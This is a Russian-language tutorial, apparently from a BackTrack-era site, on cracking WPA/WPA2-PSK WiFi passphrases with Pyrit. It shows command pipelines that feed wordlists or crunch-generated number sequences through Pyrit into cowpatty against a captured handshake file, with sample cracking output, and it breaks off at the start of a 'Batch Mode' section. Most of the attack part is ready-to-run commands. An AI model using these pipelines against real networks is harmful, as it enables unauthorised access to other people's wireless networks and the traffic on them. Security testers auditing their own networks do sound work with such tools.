Pyrit делает шаг вперед в нападении на протоколы WPA-PSK и WPA2-PSK, которые в настоящее время являются протоколами де-факто в защите WiFi воздушного пространства. Целью проекта является оценка реальной безопасности передаваемых данных по этим протоколам. Pyrit не предоставляет никаких бинарных файлов или словарей для перебора и не пощряет любые противоправные действия. Это исследовательский инструмент, а не программа для взлома.

Скачиваем pyrit

Pyrit уже включен в backtrack.iso, однако, чтобы убедиться, что мы имеем последние версии проверим с помощью apt-get.

pyrit

Убеждаемся в работоспособности Pyrit:

Есть несколько небольших тестов, запустив которые можно убедиться в правильной работоспособности Pyrit.

pyritlistcores

Не беспокойтесь, если вы не обнаружите у себя пункта №3 на рисунке, это сетевое ядро. Этот вопрос будет затронут позже в этом документе. Как вы можете видеть мы имеем две карты 8800 GT и два из четырех процессорных ядра. Давайте теперь запустим bench mark, чтобы убедиться окончательно, что ядро NVDIA CUDA загружено и работает правильно. Запускается проверка, командой в консоли root@bt~# pyrit benchmark.
Мы создали и оптимизировали словарь для перебора ключа шифрования в сетях WPA. Однако его размер показался нам несколько великоват, для помещения его в образ дистрибутива BackTrack. Словарь был размещен в репозитории, откуда вы и можете его скачать с помощью все той же утилиты apt-get.

searchwpa

Режим перенаправления:

Первая команда может быть запущена в режиме перенаправления. Преимущества такого подхода в том, что нет смысла создавать и записывать громоздкие таблицы хэшей на жесткий диск, Pyrit может перенаправить вывод результата работы непосредственно на вход cowpatty. Airckrack-NG в настоящее время не поддерживает такой режим работы. Для того, чтобы использовать такой вариант, просто задайте в командной строке следующие команды:

# pyrit -e test -f /pentest/passwords/wordlists/wpa-wordlist passthrough | /pentest/wireless/cowpatty/cowpatty -d - -s test -r wpa.cap

Расшифровка команд:

root@bt~# pyrit -e (essid) -f (путь до файла с паролями) passthrough | /pentest/wireless/cowpatty -d - -s (essid) -r (путь до файла с перехваченным "рукопожатием")

Вот пример одного из моих испытаний:

r00t@infected ~ $ pyrit -e NETGEAR -f final-wordlist.txt passthrough | cowpatty -d - -r wpa-01.cap -s NETGEAR 
cowpatty 4.3 - WPA-PSK dictionary attack. <jwright@hasborg.com> 
Collected all necessary data to mount crack against WPA/PSK passphrase. 
Starting dictionary attack. Please be patient. 
Using STDIN for hashfile contents. 
key no. 10000: 123456pnb 
key no. 20000: 1Tokenof 
key no. 970000: waegbarer 
key no. 980000: withstood 
key no. 990000: yc26njw4xd 
fread: Success 
Unable to identify the PSK from the dictionary file. Try expanding your 
passphrase list, and double-check the SSID. Sorry it didn't work out. 
990100 passphrases tested in 104.51 seconds:  9473.97 passphrases/second

Хотя в данном примере ключ не был подобран, вы можете получить совершенно иной результат.

Перенаправление вывода из Crunch:

Хотя посимвольный брутфорс WPA это практически бесполезное занятие, я покажу один из способов, который может дать положительный результат. Если парольная фраза состоит из цифр или номера телефона, вариант брутфорса становится вполне жизнеспособным. В этом случае мы должны использовать утилиту crunch, которая как раз присутствует в backtrack.iso:

root@bt ~ $ /pentest/passwords/crunch/crunch 8 8 123456 | pyrit -e NETGEAR -f - passthrough | cowpatty -d - -r wpa-01.cap -s NETGEAR 
cowpatty 4.3 - WPA-PSK dictionary attack. <jwright@hasborg.com> 
Collected all necessary data to mount crack against WPA/PSK passphrase. 
Starting dictionary attack. Please be patient. 
Using STDIN for hashfile contents. 
key no. 10000: 11131143 
key no. 20000: 11335211 
key no. 30000: 11453262 
key no. 40000: 11535435 
key no. 50000: 11652122 
key no. 60000: 12232413 
key no. 70000: 12353454 
key no. 80000: 12465164 
key no. 90000: 12636253 
key no. 100000: 12654635 
key no. 110000: 13316255 
key no. 120000: 13365643 
key no. 130000: 13445163 
key no. 140000: 13636424 
key no. 150000: 14123612 
key no. 160000: 14333322 
key no. 170000: 14452353 
key no. 180000: 14536235 
key no. 190000: 14643246 
key no. 200000: 15225263 
key no. 210000: 15311412 
key no. 220000: 15454615 
....key no. 1660000: 66342333 
key no. 1670000: 66512215 
Unable to identify the PSK from the dictionary file. Try expanding your 
passphrase list, and double-check the SSID. Sorry it didn't work out. 
1670168 passphrases tested in 171.54 seconds:  9736.04 passphrases/second

Как вы можете видеть атака не сработала, однако вы можете создать списки для брутфорса прямо на лету перенаправляя их на вход Pyrit. Этот тип атаки может быть полезен в будущем, когда методы нападения на WPA потерпят изменения в лучшую сторону.

Batch Mode:

Созданние с помощью Pyrit таблиц для перебора, включает в себя несколько шагов, зато созданная таблица, может быть использована снова и снова, пока ESSID точки доступа остается прежним.
Для начала подключаем целевой ESSID: